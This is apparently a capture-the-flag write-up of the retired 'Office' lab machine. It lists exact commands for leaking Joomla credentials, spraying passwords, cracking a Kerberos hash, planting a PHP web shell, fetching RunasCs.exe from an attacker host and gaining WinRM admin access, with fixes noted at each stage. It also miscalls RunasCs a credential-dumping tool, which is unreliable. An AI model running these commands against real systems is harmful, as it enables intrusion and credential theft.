Office
Summary
I found a Joomla CMS running on a Windows Active Directory domain controller (office.htb). An unauthenticated Joomla API endpoint leaked the site's database credentials, which were reused successfully against a domain account over SMB.
A file share reachable with that account held a network capture containing a Kerberos authentication exchange for a second user; the exchange was cracked offline to recover that user's domain password. That second user turned out to be the Joomla Super User, so I logged into the Joomla admin panel and edited a site template to add a PHP web shell, gaining code execution as the web service account.
The web shell was used to run a credential-dumping tool (RunasCs) to switch into that user's own context and read user.txt. Continued domain enumeration surfaced a third credential whose account had administrative rights over WinRM on the domain controller, which was used to read root.txt directly: full domain compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export HEX_ID="<a-value-you-captured-earlier>"Some commands also carry a value in angle brackets (<cipher_hex>, <hhogan_password>, <leaked_db_password>, <tstark_password>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 3
Add the domain and DC names to local resolution.
$ echo "$TARGET office.htb dc.office.htb" | sudo tee -a /etc/hostsFull TCP sweep with service/version detection.
$ nmap -p- --min-rate=1000 -T4 -sV $TARGETConfirms the Joomla CMS via its bundled asset path.
$ curl -ksS -L --max-time 10 --max-redirs 3 "http://$TARGET/media/system/css/joomla-fontawesome.min.css?$HEX_ID"Exact commands 4
Unauthenticated Joomla API call returns the global config, including the DB password.
$ curl -s 'http://office.htb/api/index.php/v1/config/application?public=true'Enumerate valid domain usernames via Kerberos; save hits to users.txt.
$ kerbrute userenum -d office.htb --dc dc.office.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txtSpray the leaked password across discovered usernames.
$ nxc smb office.htb -u users.txt -p '<leaked_db_password>' --continue-on-successConfirms access and lists the 'SOC Analysis' share.
$ nxc smb office.htb -u dwolfe -p '<leaked_db_password>' --sharesFixPatch Joomla and stop database credentials from leaking through the APICritical
Exact commands 3
Download the packet capture from the share.
$ smbclient '//office.htb/SOC Analysis' -U 'office/dwolfe%<leaked_db_password>' -c 'ls; mget *.pcap'Extract the AS-REQ pre-auth cipher for the target user.
$ tshark -r capture.pcap -Y 'kerberos.msg_type==10' -T fields -e kerberos.CNameString -e kerberos.cipherCrack the Kerberos 5 etype 18 pre-auth hash offline.
$ echo '$krb5pa$18$tstark$OFFICE.HTB$<cipher_hex>' > hash.txt && hashcat -m 19900 hash.txt /usr/share/wordlists/rockyou.txtFixRemove sensitive packet captures from file shares and enforce strong, pre-auth-resistant passwordsHigh
Exact commands 2
Add the line: <?php system($_GET['cmd']); ?>
$ # Joomla admin: System > Site Templates > Cassiopeia > Details and Files > index.php (or any editable template file)Confirms RCE; returns office\web_account.
$ curl --resolve office.htb:80:$TARGET -sS 'http://office.htb/templates/cassiopeia/cmd.php?cmd=whoami'
office\web_accountFixRestrict Joomla administrator access and prevent template-based code executionCritical
Exact commands 2
Stage RunasCs.exe on the target via the web shell; serve it from python3 -m http.server 8000.
$ curl --resolve office.htb:80:$TARGET -sS "http://office.htb/templates/cassiopeia/cmd.php?cmd=powershell%20iwr%20http://$ATTACKER_IP:8000/RunasCs.exe%20-OutFile%20C:\Windows\Temp\RunasCs.exe"Run as tstark and read the flag; URL-encode the cmd value; replace <user.txt> content before reporting it.
$ curl --resolve office.htb:80:$TARGET -sS --max-time 30 'http://office.htb/templates/cassiopeia/cmd.php?cmd=C:\Windows\Temp\RunasCs.exe tstark <tstark_password> "cmd /c whoami & klist & type C:\Users\tstark\Desktop\user.txt" -d office.htb -l 2'Exact commands 2
Confirms admin-equivalent WinRM access (reports 'Pwn3d!').
$ nxc winrm $TARGET -d office.htb -u hhogan -p '<hhogan_password>'Read the root flag directly; substitute <root.txt> for the returned value.
$ nxc winrm $TARGET -d office.htb -u hhogan -p '<hhogan_password>' -X 'Get-Content C:\Users\Administrator\Desktop\root.txt'FixRemove excessive administrative/WinRM rights from standard domain accountsCritical
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28) |
| 88/tcp | unknown recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 443/tcp | ssl/http Apache httpd 2.4.56 (OpenSSL/1.1.1t PHP/8.0.28) |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 3269/tcp | unknown recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49668/tcp | unknown recon-sweep-discovered |
| 57853/tcp | unknown recon-sweep-discovered |
| 57868/tcp | unknown recon-sweep-discovered |
| 57886/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |